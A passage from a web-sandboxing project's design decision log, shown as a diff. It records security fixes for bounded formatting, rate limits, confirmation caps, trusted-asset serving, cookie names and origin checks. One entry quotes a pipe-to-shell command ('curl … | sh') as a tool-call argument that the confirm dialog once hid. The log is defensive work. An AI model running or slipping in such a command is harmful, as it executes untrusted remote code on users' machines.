and the rate, so a frame without `reportError`, or past its 10 a minute, still cost the host the
|
|
3733
|
+
whole walk; a cycle or a BigInt threw out of the transport's listener; a graph of 13 objects
|
|
3734
|
+
each holding the next twice was 53,237 characters (the audit's), of 40 more than a host ever
|
|
3735
|
+
finishes (structured clone keeps shared references, as P091 found for `db`). Now the adapters hand the bridge what content said as it
|
|
3736
|
+
came (`{ message: params.data }`), and the bridge counts reportError's own rate in `precheck`,
|
|
3737
|
+
before its arguments are read (as P091 did for the runtime's own); only then does its validator
|
|
3738
|
+
read it, with `boundedText` (`src/bridge/bounded-text.ts`), the one formatter, for every
|
|
3739
|
+
adapter: a string as it is; anything else as JSON writes it, each object read once
|
|
3740
|
+
(`"[Circular]"` inside itself, `"[Repeated]"` written already), at most 1,000 values and 16
|
|
3741
|
+
levels (`"[Object]"`, `"[Array]"` below, `…` where it stops) and 8,000 characters; a BigInt as
|
|
3742
|
+
`"5n"` (`"[BigInt]"` past 2,000 digits: its decimal text is superlinear), a Date its time, an
|
|
3743
|
+
Error its name and message, another object its kind (`"[Map]"`, `"[Uint8Array]"`, never its
|
|
3744
|
+
bytes), anything whose read throws `"[unreadable]"`. Never throws. Then the scrub of sealed
|
|
3745
|
+
addresses (P083), then the 2,000 characters the host is told.
|
|
3746
|
+
2. **A cut before the scrub tells no part of an access.** The scrub needs a whole address, and the
|
|
3747
|
+
text is now cut before it (8,000 characters, so the regex runs on a bounded string; before, the
|
|
3748
|
+
shell adapter's strings were scrubbed whole, and every other shape was cut to 2,000 before the
|
|
3749
|
+
bridge scrubbed it). `cutText` (`src/bridge/navigation.ts`) drops an unfinished
|
|
3750
|
+
`/__porthole/f/<access>` at a cut's end; every cut in the formatter and the bridge is it.
|
|
3751
|
+
3. **The log's level is a string or nothing.** The shell adapter's `String(params.level)` threw on
|
|
3752
|
+
`{ toString: 0 }` (a property structured clone carries): `typeof` first, as the MCP adapter did.
|
|
3753
|
+
4. **The same class in the adapters: a `ui/message`'s text.** Both joined every content block
|
|
3754
|
+
before any gate: a sparse array of length 2^32 − 1 clones in no time, and its walk is minutes of
|
|
3755
|
+
the host's thread (10^8 holes took 3.4 s here, Node 24); one 100 KB block referenced a
|
|
3756
|
+
thousand times joined to 100 MB. `messageText`
|
|
3757
|
+
(`src/protocol/message-text.ts`), shared: at most 1,000 blocks (more is malformed), read until
|
|
3758
|
+
the text passes `limits.maxPromptChars` (then `max + 1` characters, which the bridge refuses as
|
|
3759
|
+
it did).
|
|
3760
|
+
5. **A request named after `Object.prototype`'s own.** The shell adapter looked requests up in a
|
|
3761
|
+
plain object: `constructor` or `toString` threw (`mapped.args is not a function`), an unhandled
|
|
3762
|
+
rejection and no answer. `Object.hasOwn` first: answered "not offered".
|
|
3763
|
+
6. **The confirm dialog shows a call's arguments bounded.** Its `json()` was
|
|
3764
|
+
`JSON.stringify(args, null, 2)` at every render: a cycle or a BigInt in `callTool`'s arguments,
|
|
3765
|
+
`setModelContext` or a download threw during render; a 16-level shared graph rendered 8.6 MB.
|
|
3766
|
+
Now `formatBounded` (the same formatter) laid out as `JSON.stringify`'s two-space form, 20,000
|
|
3767
|
+
characters, 2,000 values, 24 levels, once per request, with "Only part of it is shown" when
|
|
3768
|
+
it is cut. Plain JSON shows as it did.
|
|
3769
|
+
7. **At most 10 confirmations wait per display.** `callTool`'s default gate is `confirm` alone:
|
|
3770
|
+
a frame could queue confirmations without end (the React provider's queue grew by one a
|
|
3771
|
+
call). The bridge refuses the 11th at once as `rate-limited` (`rate_limited`, "Too many
|
|
3772
|
+
confirmations are waiting"), asking no one and counting no decline: every host's `confirm`
|
|
3773
|
+
gets the cap, not only the default dialog.
|
|
3774
|
+
8. **A page's names are well-formed Unicode.** `downloads.save` with a lone surrogate in a name
|
|
3775
|
+
threw `URIError` in `encodeURIComponent` before the bridge: an unhandled rejection and no
|
|
3776
|
+
answer. Short texts (download names, comment anchors, labels), asset names and file paths
|
|
3777
|
+
(`filePathProblem`) need `isWellFormed()`; the call is answered as malformed.
|
|
3778
|
+
9. **db sizes are known before writing out.** `jsonBytes` was `JSON.stringify` then `TextEncoder`
|
|
3779
|
+
before the size check, and `plainJson` doesn't bound strings: a document of 1M control
|
|
3780
|
+
characters was 6 MB of JSON before it was refused. A lower bound from the checked structure
|
|
3781
|
+
(each string's and key's length, a byte a scalar) refuses it first; the exact count runs only
|
|
3782
|
+
within the limit (`jsonBytes(value, max)`).
|
|
3783
|
+
10. **A publish's count and sizes before its files are read or encoded.** `Object.entries` read
|
|
3784
|
+
every file before the count check, and every text was encoded before the version's total
|
|
3785
|
+
was checked: one file object under 255 paths is one object to send, 255 encodings (6.4 GB at
|
|
3786
|
+
the defaults). Now the keys' count first, each text too large by its length against the
|
|
3787
|
+
running total before it is encoded, the total as it grows.
|
|
3788
|
+
11. **Every capability's rate before its arguments.** `precheck` counts each host function's own
|
|
3789
|
+
rate gates first for every capability, not only the runtime's own and `reportError`: past
|
|
3790
|
+
its rate a call's arguments are never read, and a malformed call costs its rate. A runtime
|
|
3791
|
+
method's own gates (`methodGates`) still follow its arguments, which name the method.
|
|
3792
|
+
12. **A frame follows at most 50 resources** (`resources/subscribe`, as the runtime's 50
|
|
3793
|
+
watches): past it refused as `too-large` without asking the host; ending one frees a place.
|
|
3794
|
+
13. **createHost's annotation reports by own key**: `constructor` was an annotate call.
|
|
3795
|
+
14. **What a call carries is plain JSON, and the dialog hides nothing** (the review). The dialog
|
|
3796
|
+
wrote a boxed `String` as `"[String]"` and called its text whole: `tools/call` with
|
|
3797
|
+
`{ command: new String("curl … | sh") }` showed `"[String]"`, no note, while the handler got
|
|
3798
|
+
the string. `formatBounded` unwraps boxed primitives as JSON does (each prototype's `valueOf`),
|
|
3799
|
+
and any placeholder (`[Circular]`, `[Repeated]`, a kind, a BigInt, an Error, `[unreadable]`)
|
|
3800
|
+
makes the text not whole. And `callTool`'s arguments, `setModelContext`'s content and
|
|
3801
|
+
`downloadFile`'s contents are plain, bounded JSON only (`isJsonData`,
|
|
3802
|
+
`src/bridge/json-data.ts`: no object reached twice, finite numbers, plain prototypes,
|
|
3803
|
+
100,000 values, 64 levels, 4 MiB of strings and keys together; an `undefined` field, as JSON
|
|
3804
|
+
leaves it out, counts as a value): what a handler gets, after a yes or with no confirmation at
|
|
3805
|
+
all (`setModelContext`), is what MCP says it is. After the re-review: a field without a value
|
|
3806
|
+
and a long string are no longer free (100,000 undefined fields, or 100 MB of strings in one
|
|
3807
|
+
object, are refused), and an object reached twice stays refused: walked again at each place,
|
|
3808
|
+
a reused object was unbounded work (100k undefined fields under 400 places took 13 s; a 1 MB
|
|
3809
|
+
string under 49,990 places passed, about 50 GB as JSON). A call waiting on consent when its
|
|
3810
|
+
run stops asks no one.
|
|
3811
|
+
15. **db's byte bound counts JSON's separators** (the review): one more a non-empty object or
|
|
3812
|
+
array refused a document of exactly 1,048,576 bytes.
|
|
3813
|
+
16. **A stopped display refuses what waits for a confirmation** (the review; predates this
|
|
3814
|
+
entry): each restart made a new bridge with its count at 0 (up to 40 waiting), and a yes to a
|
|
3815
|
+
stopped run's request ran its handler. `createBridge` gives `close()` (`DisplayBridge`):
|
|
3816
|
+
waiting calls are refused at once, a later yes or `proceed` runs nothing, no new call is
|
|
3817
|
+
taken; `createHost`'s `stop()` (a restart, the end) closes the run's bridge. A host's own
|
|
3818
|
+
dialog for such a request stays open until answered (the `confirm` contract has no way to
|
|
3819
|
+
withdraw one); its answer does nothing.
|
|
3820
|
+
- **Changed assertion**: `test/mcp.test.ts`'s fake bridge now sees `{ message: { reason: "boom" } }`
|
|
3821
|
+
where it saw the adapter's JSON: the bridge formats now; the text the host gets is the same
|
|
3822
|
+
(`test/log-bounds.test.ts`).
|
|
3823
|
+
- What the host is told for JSON data is unchanged (byte for byte `JSON.stringify`, cut). Changed:
|
|
3824
|
+
a log without `data` is dropped as malformed (the shell adapter reported `"null"`); a malformed
|
|
3825
|
+
call of any capability counts against its rate (before, only a well-formed one did); a name or
|
|
3826
|
+
path with a lone surrogate is refused; a tool's arguments, model context or a download's
|
|
3827
|
+
contents that aren't plain JSON (an object reached twice, a Date, a Map, NaN, a boxed value) are
|
|
3828
|
+
refused as malformed.
|
|
3829
|
+
|
|
3830
|
+
**Why.** The audit's 修复 line: the cheap switch and rate before any deep processing, and a
|
|
3831
|
+
formatter bounded in nodes, depth and output that knows repeated references; a try/catch or a cut
|
|
3832
|
+
after `JSON.stringify` isn't enough. A gate is only one if what it guards hasn't already run.
|
|
3833
|
+
**Rejected.**
|
|
3834
|
+
- Strings only (drop anything else): an SDK view's `sendLog` sends any JSON, and hosts read
|
|
3835
|
+
`{"reason":…}` today.
|
|
3836
|
+
- Formatting in each adapter after asking the bridge (`declared`, a separate rate probe): two
|
|
3837
|
+
calls that must agree, a rate counted twice or not at all, and every adapter (a host's own is an
|
|
3838
|
+
extension point) must remember; in the bridge's validator it is one place, after the one gate.
|
|
3839
|
+
- `try { JSON.stringify } catch`, then a cut: exponential before the cut; it bounds nothing.
|
|
3840
|
+
- Capping confirmations in the React provider's queue only: a host's own `confirm` queues too.
|
|
3841
|
+
- Accepting an object reached twice, each place counted against the budget (tried, then
|
|
3842
|
+
reverted): each place is walked again, so the work isn't bounded by what was sent; MCP's
|
|
3843
|
+
arguments are JSON, where reuse is rare, and db refuses it too (P091).
|
|
3844
|
+
- A catch-all in the adapters that answers any throw: it would hide the next `URIError`; each
|
|
3845
|
+
cause is refused up front instead, with its test.
|
|
3846
|
+
**Revisit when** a host needs more of a report than 2,000 characters or 16 levels (raise
|
|
3847
|
+
`REPORT_TEXT_LIMITS`, keep it bounded), or a page needs more than 10 confirmations waiting or 50
|
|
3848
|
+
resources followed (raise the caps, not lift them); or MCP Apps gives `notifications/message` a
|
|
3849
|
+
schema for `data` the SDK enforces (then strings and plain JSON only, and the walk is a check).
|
|
3850
|
+
|
|
3851
|
+
## P103 · 2026-10-19 · A live widget takes no capability's origins; a trusted asset runs only while the config says so, bearer mode too; `callTool` has a rate · Accepted
|
|
3852
|
+
|
|
3853
|
+
Three findings the threat model's writer made checking the docs' claims against the code at
|
|
3854
|
+
a92adac. Amends P021 (`callTool`'s default gates), P079 (what a live widget's options may say) and
|
|
3855
|
+
P089 (when an asset goes out as code). Each has its regression, which failed before:
|
|
3856
|
+
`test/live-data.test.ts` "refuses a capability's own origins too", `test/assets.test.ts` "code
|
|
3857
|
+
only while the current config lets uploaded code run, in bearer mode too",
|
|
3858
|
+
`test/bridge.test.ts` "callTool is rate limited by default", with two in `test/agreement.test.ts`;
|
|
3859
|
+
and, after the branch's review, "a copy kept as code revalidates to the download once the config
|
|
3860
|
+
is stricter" and the frozen config's case in the first.
|
|
3861
|
+
|
|
3862
|
+
**Decision**, by finding:
|
|
3863
|
+
1. **No option opens a live widget's network, a capability's own origins included.** P079 said
|
|
3864
|
+
none did, but `CapabilityConfig.connect` and `.resource` join the CSP as `egress` does
|
|
3865
|
+
(`egressOrigins`): `presets.liveWidget({ capabilities: { readData: { connect: [...] } } })`
|
|
3866
|
+
opened `connect-src` to it. `presets.liveWidget` now refuses either field on any capability, a
|
|
3867
|
+
`ConfigError` naming it (`options.capabilities.readData.connect`), as it refuses `egress`; its
|
|
3868
|
+
options' type says so (`LiveCapabilityConfig`, a capability's config less both). Gates, levels
|
|
3869
|
+
and a capability's own manual entry stay the host's to change. Nothing adopter-facing used it:
|
|
3870
|
+
no example, test or doc gives a live widget a capability's origins (capability origins appear
|
|
3871
|
+
only on MCP Apps views and inline widgets). And the preset's result is frozen all the way down
|
|
3872
|
+
(after the review: a copy of the host's options, which stay its own): host code can't write
|
|
3873
|
+
an origin into it afterwards (`config.capabilities.readData.connect = …`, `config.egress.connect
|
|
3874
|
+
= …`, a capability added, a gate dropped). What freezing can't stop is a new config built from
|
|
3875
|
+
it (`{ ...presets.liveWidget(), egress: … }`): that config is the host's own, not the preset,
|
|
3876
|
+
and the guarantee is the preset's. Building one is the host's call.
|
|
3877
|
+
2. **A trusted code asset runs only while the current config lets uploaded code run, asked at
|
|
3878
|
+
every request** (P089, P091.9 said so; bearer mode skipped it). In bearer mode `/server` served
|
|
3879
|
+
a `trusted` script as code on the upload's word alone, whatever the config said now. Now one
|
|
3880
|
+
check decides for both paths (`runsAsCode`): trusted, and the config its artifact's page is
|
|
3881
|
+
served under lets uploaded code run. An access names that config; by id alone the server can't
|
|
3882
|
+
tell which of its artifact configs (artifact mode, domain isolation) the page is under, so the
|
|
3883
|
+
strictest it might be decides: every one must let uploaded code run, and with none, nothing
|
|
3884
|
+
runs. And `assetCodeRuns` is false for a config that declares no `assets` (it was true, the
|
|
3885
|
+
contract's admin level standing in for a capability the config dropped): a config that stops
|
|
3886
|
+
serving assets runs nothing of its library. What it closes is the second of P091's two walls:
|
|
3887
|
+
the page's own CSP already followed the current config (`assetCspDirectives` opens
|
|
3888
|
+
`/_blob/` for scripts only where code runs), so the script ran only in a page whose CSP still
|
|
3889
|
+
opened `/_blob/` for scripts: in bearer mode, any page on the scope's origin under another
|
|
3890
|
+
artifact config. The ETag carries the decision too (after the review): `"<sha256>-code"` or
|
|
3891
|
+
`"<sha256>-inert"`. With the sha256 alone, a copy the browser kept as code, revalidated after a
|
|
3892
|
+
stricter config shipped, got a 304, and the kept copy could stay typed `text/javascript`; now
|
|
3893
|
+
its ETag no longer matches and it gets the download whole.
|
|
3894
|
+
3. **`callTool` has a rate by default: 30 a minute**, with its confirmation (`["confirm", { rateLimit:
|
|
3895
|
+
{ perMinute: 30 } }]`), counted once, before its arguments are read and before the person is
|
|
3896
|
+
asked (P095's `precheck`). It needs no gesture (an MCP view's
|
|
3897
|
+
gesture is the host's to check), so a page could call it on load or on a timer; a host whose
|
|
3898
|
+
`confirm` says yes by itself (for its app's own tools, say) had no bound at all (P095 caps the
|
|
3899
|
+
confirmations waiting at once, not the calls). 30 is what
|
|
3900
|
+
the host actions with an effect have (`copyText`, `comments`, `assets`, `setModelContext`);
|
|
3901
|
+
reads have more (`readData` 120). A host's own `gates` replace the defaults, as for every
|
|
3902
|
+
capability (`callTool: { gates: ["confirm", { rateLimit: { perMinute: 120 } }] }`, or `[]`).
|
|
3903
|
+
What it costs: a host whose `confirm` answers yes on its own reaches 30 tool calls a minute
|
|
3904
|
+
when its view polls a tool more often than every 2 s; past that the calls are refused
|
|
3905
|
+
(`rate_limited`) until a minute has passed. Such a host sets `gates` with its own rate (or
|
|
3906
|
+
none), which replaces the default.
|
|
3907
|
+
The manual says "At most 30 a minute." (generated from the gates; the agreement test holds it),
|
|
3908
|
+
and a new agreement case holds the class: every capability a page may call without a gesture
|
|
3909
|
+
has a rate by default, `resize` alone excepted (it carries nothing out).
|
|
3910
|
+
|
|
3911
|
+
**Threat it re-opens.** None: each change narrows. A live widget given a capability's origins was
|
|
3912
|
+
a quiet hole, now a config error at startup. In bearer mode a server with several artifact
|
|
3913
|
+
configs, one of which doesn't let uploaded code run (or declares no `assets`), serves every
|
|
3914
|
+
trusted script as a download: such a host's bearer libraries hold no running code until each
|
|
3915
|
+
config lets it run. A view that calls tools faster than 30 a minute under the default gates is
|
|
3916
|
+
refused (`rate_limited`) until its host names its own gates.
|
|
3917
|
+
**Why.** Each was a claim the docs make that the code didn't hold: P079's "no option opens it",
|
|
3918
|
+
P091.9's "only when the artifact's config still lets uploaded code run", and gates that bound a
|
|
3919
|
+
page's calls (PRINCIPLE 1).
|
|
3920
|
+
**Rejected.**
|
|
3921
|
+
- For 1, documenting what opens a live widget's network instead of refusing it: the preset's one
|
|
3922
|
+
promise is no network of its own, and no adopter-facing feature needs the exception; a widget
|
|
3923
|
+
that needs an origin is an inline widget with that egress.
|
|
3924
|
+
- For 2, a config name on each stored asset (`StoredAsset.preset`, as `ServedDocument.preset`):
|
|
3925
|
+
exact for a host with several artifact configs, but new contract for the host's store to keep
|
|
3926
|
+
right; the strictest-config rule needs nothing from it and fails closed. Never serving code in
|
|
3927
|
+
bearer mode: breaks a public artifact's library for no gain where its config lets code run.
|
|
3928
|
+
- For 1, a mark on the preset's config that survives a spread, checked where a config is
|
|
3929
|
+
compiled: it would hold a hand-built copy to the preset too, but a hidden field the docs would
|
|
3930
|
+
have to explain, lost in any serialization; a copy built by hand is the host's to decide.
|
|
3931
|
+
- For 2, keeping the sha256 alone as the ETag and relying on a 304's headers to retype the kept
|
|
3932
|
+
copy: whether an engine updates a stored `Content-Type` from a 304 is its own choice.
|
|
3933
|
+
- For 3, a gesture on `callTool`: an MCP view's gesture is the host's to check (the shell doesn't
|
|
3934
|
+
speak for one), and views call tools to refresh their data; a rate bounds a loop without
|
|
3935
|
+
changing what a view may do.
|
|
3936
|
+
**Revisit when** a host with several artifact configs needs bearer-mode code assets under a mix of
|
|
3937
|
+
them (then the asset names its config); or MCP Apps hosts report views that legitimately call
|
|
3938
|
+
tools faster than 30 a minute under default gates.
|
|
3939
|
+
|
|
3940
|
+
## P101 · 2026-10-19 · Siblings on the content domain: only `__Host-` names are Porthole's, the entered mark is its label's, a url-mode app answers its own origin · Accepted
|
|
3941
|
+
|
|
3942
|
+
The 2026-10-19 audit's second round, P0.3 (scenarios S3 and S6; baseline a92adac). Amends P025
|
|
3943
|
+
(which cookie names are read), P068 (the entered mark), P020 and P050 (what a url-mode app's cookie
|
|
3944
|
+
lets in). Each change has its regression, which failed before: `test/siblings.test.ts` (9 of
|
|
3945
|
+
its 14 cases; the other 5 hold what already held, or pin loopback's residual), `test/workers.test.ts`
|
|
3946
|
+
(workerd), the served case `served.url.siblings` (failed before on Chromium and Firefox against the
|
|
3947
|
+
reference serving, on all three against the kit), `leak/kit.spec.ts`'s socket case (a sibling's
|
|
3948
|
+
WebSocket opened, all three), and two prod-shape cases (run with the fix only).
|
|
3949
|
+
|
|
3950
|
+
**Decision**, by finding:
|
|
3951
|
+
1. **Over https only `__Host-porthole-` names are read** (S3: `ourCookie` took `porthole-*` too).
|
|
3952
|
+
Every label is same-site with every other until the content domain is on the Public Suffix List
|
|
3953
|
+
(P047), and a sibling (a url-mode app, which has no CSP; a domain-mode page, which has
|
|
3954
|
+
`allow-same-origin`; an app's own preview label) can set any name for the whole domain with
|
|
3955
|
+
`Domain=`, never a `__Host-` one. A session's copy (its holder reads it in their own browser) or
|
|
3956
|
+
an entered mark, planted under the name without the prefix, was read on every label: the app or
|
|
3957
|
+
a clean address opened as the planter's viewer (session fixation), or the loop guard answered.
|
|
3958
|
+
Now a session, a mark and a nonce are read only under the exact `__Host-` name, case and every
|
|
3959
|
+
byte counted, and the cookie header's names are trimmed of spaces and tabs only (JavaScript's
|
|
3960
|
+
`trim` read a name with a leading U+00A0, which a sibling's script or server may set with
|
|
3961
|
+
`Domain=`, as `__Host-`). What an app's requests and answers are stripped of stays wider: every
|
|
3962
|
+
`porthole-`, `__Host-porthole-` and `__Secure-porthole-` name, either scheme
|
|
3963
|
+
(`isPortholeCookie`; a `__Secure-porthole-` cookie reached the upstream before), and an app's
|
|
3964
|
+
nameless `Set-Cookie` whose value reads as one (`=__Host-porthole-…=…`, after the review) is
|
|
3965
|
+
kept from the browser too (`setsPortholeCookie`, in `proxyTo` and `upstreamHeaders.response`).
|
|
3966
|
+
**Loopback.** Over plain http (loopback only: `createServer` refuses http elsewhere) the names
|
|
3967
|
+
stay unprefixed, set and read: `__Host-` needs `Secure`, and WebKit keeps no `Secure` cookie on
|
|
3968
|
+
a tab of `http://*.localhost` (measured 2026-10-20, Playwright 1.63: Chromium and Firefox keep
|
|
3969
|
+
`__Host-` there on a tab and partitioned in a frame; WebKit keeps neither, and no framed
|
|
3970
|
+
cookie at all, P025). So dev keeps working on every engine as before, and the one name a
|
|
3971
|
+
sibling can plant there is Porthole's own (pinned by a test, so a change of loopback's names
|
|
3972
|
+
shows).
|
|
3973
|
+
**Another label's session or grant is never this label's**, on either scheme: a session names
|
|
3974
|
+
its scope, signed, and is read only where the scope's label is the request's; an entry code is
|
|
3975
|
+
taken only on its own label, and with its nonce cookie under Porthole's exact name. Tested for
|
|
3976
|
+
what a label's holder can plant with `Domain=` (its own session under its name or another
|
|
3977
|
+
label's, prefixed or not; an entry's nonce for someone's code).
|
|
3978
|
+
2. **The entered mark is its label's** (S3): `e.<HMAC of { entered: path, label }>` (it was the
|
|
3979
|
+
path's alone), read from a nonce cookie's name only. A mark redeemed on one label, planted on
|
|
3980
|
+
another, made that label's clean address at the path answer "Open this in a new tab" for as long
|
|
3981
|
+
as the planted cookie lived. A mark made before this change matches nothing: a browser that
|
|
3982
|
+
keeps no cookie takes one more trip through entry, within the mark's 60 s.
|
|
3983
|
+
3. **A url-mode app answers its own origin** (S6). `serveApp`, `/__porthole/session` and `access()`
|
|
3984
|
+
checked the cookie and the host's check only. A frame's cookie is `SameSite=None; Partitioned`,
|
|
3985
|
+
so another url-mode app on the same host page (another frame, the same partition) could post to
|
|
3986
|
+
the app, load its scripts with its cookie, and open its WebSocket; on a tab, a sibling label is
|
|
3987
|
+
same-site and the `Lax` cookie went too. A WebSocket has no CORS: an app whose server checks no
|
|
3988
|
+
`Origin` (many dev servers) was hijacked (measured through `nodeHost`, all three engines). Now,
|
|
3989
|
+
before the cookie is read: an `Origin` other than the app's own (an opaque origin's `null`
|
|
3990
|
+
included) is refused; `Sec-Fetch-Site` `same-origin` or `none` goes on; `same-site` or
|
|
3991
|
+
`cross-site` goes on only for a navigation (`Sec-Fetch-Mode: navigate`) by GET or HEAD; anything
|
|
3992
|
+
else (a write, a subresource, a socket) is a 403 page that reaches neither the upstream nor
|
|
3993
|
+
`authorize.check`. A socket (`access`) is never a navigation: its own origin only. A request with
|
|
3994
|
+
neither header goes on: a browser sends `Origin` on every socket and write, and fetch metadata
|
|
3995
|
+
on everything where it sends any, so only a client that holds the cookie itself (curl) sends
|
|
3996
|
+
none.
|
|
3997
|
+
- **Which requests need it.** Everything a url-mode app's cookie lets in but a safe-method
|
|
3998
|
+
navigation: that is how the app is opened (the host's frame, entry's and sign-in's redirects,
|
|
3999
|
+
a link, the address bar), and it carries no body; `Lax`'s rule, enforced by the server, in
|
|
4000
|
+
frames too, where the cookie is `SameSite=None`. The app's own navigations, assets, fetches,
|
|
4001
|
+
forms, event streams and sockets are same-origin and go on (`served.url.tab`,
|
|
4002
|
+
`served.url.framed`, the kit's socket case). A sibling's GET navigation still reaches the
|
|
4003
|
+
app's GET routes, as any link does.
|
|
4004
|
+
- **Both paths.** `access` is the host's upgrade path on Node (`nodeHost` asks it before
|
|
4005
|
+
`appSocket`) and on Workers (a Worker asks it on its own upgrade path: a fetch-style `handle`
|
|
4006
|
+
can't answer a 101), and a socket a Worker passes to `handle` is refused there the same: no
|
|
4007
|
+
change to either adapter (`src/node/index.ts`, `src/server/host.ts`), all in
|
|
4008
|
+
`src/server/server.ts`.
|
|
4009
|
+
- **Harness.** `url-origin` (the served harness drops `Origin` and `Sec-Fetch-Site` from a url-mode
|
|
4010
|
+
app's requests) → `served.url.siblings` fails on Chromium and Firefox: the harness's labels are
|
|
4011
|
+
each a site on `*.localhost`, so only the framed half rides a cookie there, and WebKit keeps none
|
|
4012
|
+
in frames (P025). The kit (same-site siblings under `kitcontent.localhost`) runs the case's tab
|
|
4013
|
+
half on every engine, and a socket case through `nodeHost` and a relay of its own (`appSocket`
|
|
4014
|
+
with `upstreamHeaders`) to its running app's `/ws`.
|
|
4015
|
+
|
|
4016
|
+
**Threat it re-opens.** None: each change narrows what a cookie or a request opens.
|
|
4017
|
+
**Compatibility.** No API change; `access` may now be null for a request it let in before (its
|
|
4018
|
+
doc says so). What a previewed app loses: a write into it from another site (an OpenID provider's
|
|
4019
|
+
`form_post` back to it: a tab's `Lax` cookie didn't go with that either), another origin loading its
|
|
4020
|
+
resources with its cookie, a request from an opaque origin (a sandboxed frame inside the app).
|
|
4021
|
+
**Residual** (the Public Suffix List entry is the fix for the sibling ones, P047):
|
|
4022
|
+
- **Browsers without fetch metadata.** A request with neither `Origin` nor `Sec-Fetch-Site` goes
|
|
4023
|
+
on (Safari before 16.4, older Chromium and Firefox send no fetch metadata). In those browsers a
|
|
4024
|
+
sibling's GET subresource request (a script tag, an image) carries the app's cookie: a GET with
|
|
4025
|
+
side effects (GET CSRF) and responses shaped as script are the exposure. Writes are still
|
|
4026
|
+
refused there: those browsers send `Origin` on a POST.
|
|
4027
|
+
- **Nameless cookies.** A sibling's `=__Host-porthole-…=…; Domain=` (a cookie with no name, which
|
|
4028
|
+
an old engine sends as its value alone, reading as Porthole's name) is refused by current
|
|
4029
|
+
browsers (RFC 6265bis); an older one could plant a copy of a session the sibling already holds.
|
|
4030
|
+
The server can't tell it from Porthole's own.
|
|
4031
|
+
- **The app's own script.** "The upstream never sets a Porthole-named cookie" holds for headers.
|
|
4032
|
+
A url-mode app's JavaScript can still set a non-`HttpOnly` `__Host-porthole-<key>` on its own
|
|
4033
|
+
origin where no `HttpOnly` one exists: session fixation with a session it holds, the same class
|
|
4034
|
+
as loopback's below.
|
|
4035
|
+
- **Loopback.** A planted copy of a label's own session or entry nonce is read (above): fixation,
|
|
4036
|
+
or redeeming someone's entry code as them, for someone who holds such a cookie of the
|
|
4037
|
+
developer's own server (`HttpOnly`, never sent into a frame; a ticket is taken once). Dev only.
|
|
4038
|
+
- **Denial of service.** Siblings can overflow the browser's cookie jar for the domain, or set
|
|
4039
|
+
enough `Domain=` cookies (a few of 4 KB) that every request to every label exceeds a server's
|
|
4040
|
+
header limit (Node's 16 KB: a 431), until the person clears the domain's cookies. Availability
|
|
4041
|
+
only.
|
|
4042
|
+
- **A url-mode app's own cookies.** Porthole keeps the app's `Set-Cookie` host-only, but a
|
|
4043
|
+
sibling's script can set or shadow the app's names with `Domain=`.
|
|
4044
|
+
**Rejected.**
|
|
4045
|
+
- Refusing every cross-site request: the host's frame and entry's redirects are cross-site
|
|
4046
|
+
navigations.
|
|
4047
|
+
- `Origin` alone: a GET subresource (a script tag) sends none. `Sec-Fetch-Site` alone: an engine
|
|
4048
|
+
without fetch metadata still sends `Origin` on writes and sockets.
|
|
4049
|
+
- Refusing a request with neither header: a client holding the cookie is its holder, and some
|
|
4050
|
+
proxies drop fetch metadata.
|
|
4051
|
+
- `__Host-` for the viewer handoff's cookie: it is on the app's origin, not the content domain,
|
|
4052
|
+
scoped to the prefix's path (which `__Host-` forbids), `__Secure-` over https, read by its exact
|
|
4053
|
+
name.
|
|
4054
|
+
**Revisit when** the content domain is on the Public Suffix List (siblings become sites; the
|
|
4055
|
+
origin check stays, for frames on one host page); when an engine stops sending `Origin` or fetch
|
|
4056
|
+
metadata where this relies on them; or when a previewed app needs a write from another site (an
|
|
4057
|
+
opt-in per display, with its test).
|
|
4058
|
+
|
|
4059
|
+
## P098 · 2026-10-19 · A set's page is taken as one when its notice is late or lost; tests that measure, not wait · Accepted
|
|
4060
|
+
|
|
4061
|
+
The 2026-10-19 audit's flaky tests (baseline 264b12fa), which a release that waits for all of CI
|
|
4062
|
+
(P097) can no longer shrug off. Amends P084 (the notice) and P025 (how the suite knows which
|
|
4063
|
+
browsers keep a framed cookie).
|
|
4064
|
+
|
|
4065
|
+
**Decision**, by finding:
|
|
4066
|
+
1. **A set's page is taken as one when its notice comes after its load, or only from the page
|
|
4067
|
+
that arrived** (`files.spec.ts:151`, red on main's Chromium job since 0.6.0). Not a flaky test:
|
|
4068
|
+
a product bug. CI's trace (run 39293363186): `about` loaded (200), 35 ms later the frame asked
|
|
4069
|
+
for its spent ticket again (401, "This link has been used"): the host had taken `about`'s load
|
|
4070
|
+
as the content navigating away (P031) and started the display again, because the leaving
|
|
4071
|
+
page's `porthole/navigating` wasn't there yet. P084 assumed a message sent before a navigation
|
|
4072
|
+
reaches the host before the next document's load. Chromium doesn't promise it: a frame in
|
|
4073
|
+
another process forwards `postMessage` from a task of the sending document's
|
|
4074
|
+
(`RemoteDOMWindow::SchedulePostMessage`, `kInternalPostMessageForwarding`), which a navigation
|
|
4075
|
+
that commits first delays or drops with its document. WebKit and Firefox run the frame in the
|
|
4076
|
+
host page's process here, so the order held there; it never reproduced here (30 of 30 alone,
|
|
4077
|
+
112 of 112 under 20 busy loops, 60 of 60 instrumented), only on CI's 4-CPU runners. Now:
|
|
4078
|
+
- every notice names the artifact version its files are (`files.set`, `{ id, version }`, from
|
|
4079
|
+
the access the page is served for; not secret);
|
|
4080
|
+
- the shell of a page a navigation opened (a page of files that is not its ticket's answer)
|
|
4081
|
+
says `porthole/navigating` with `arrived: true` as it starts. Set inside the guard's own
|
|
4082
|
+
block, so `navigate-guard` (the guard taken out) removes it with every other notice;
|
|
4083
|
+
- which loads are the set's own pages is decided by `pagesOfSet` (`host/pages-of-set.ts`) on
|
|
4084
|
+
the frame's surface, before anything the frame says reaches the display. The leaving page's
|
|
4085
|
+
notice is taken for the next load within ten seconds, as before; the arriving page's too (the
|
|
4086
|
+
host hears a load only once the page's images and modules have loaded, seconds after it
|
|
4087
|
+
spoke), or for the load it came after. A load no notice explained waits `LATE_NOTICE_MS`
|
|
4088
|
+
(2 s) for a notice naming the mounted version; every other display starts again at once, as
|
|
4089
|
+
before. What a new page says before its load is delivered as it comes, as P084 had it.
|
|
4090
|
+
Regressions: `test/pages-of-set.test.ts` and `test/files.test.ts` (a notice before or after its
|
|
4091
|
+
load spares the restart; nothing answered during the wait; failed before),
|
|
4092
|
+
`leak/served/files.spec.ts` (the leaving page's notice dropped, or every notice held until the
|
|
4093
|
+
frame's next load, by the host page: the pages still open in the frame on all three engines;
|
|
4094
|
+
the link cases read the display after the wait, so `navigate-guard` fails all three).
|
|
4095
|
+
2. **The lint's linear-time guard compares work, not a machine's speed** (`test/files.test.ts`).
|
|
4096
|
+
What it guards (P081-P084's review): no pattern that grows faster than the text (72 KB of
|
|
4097
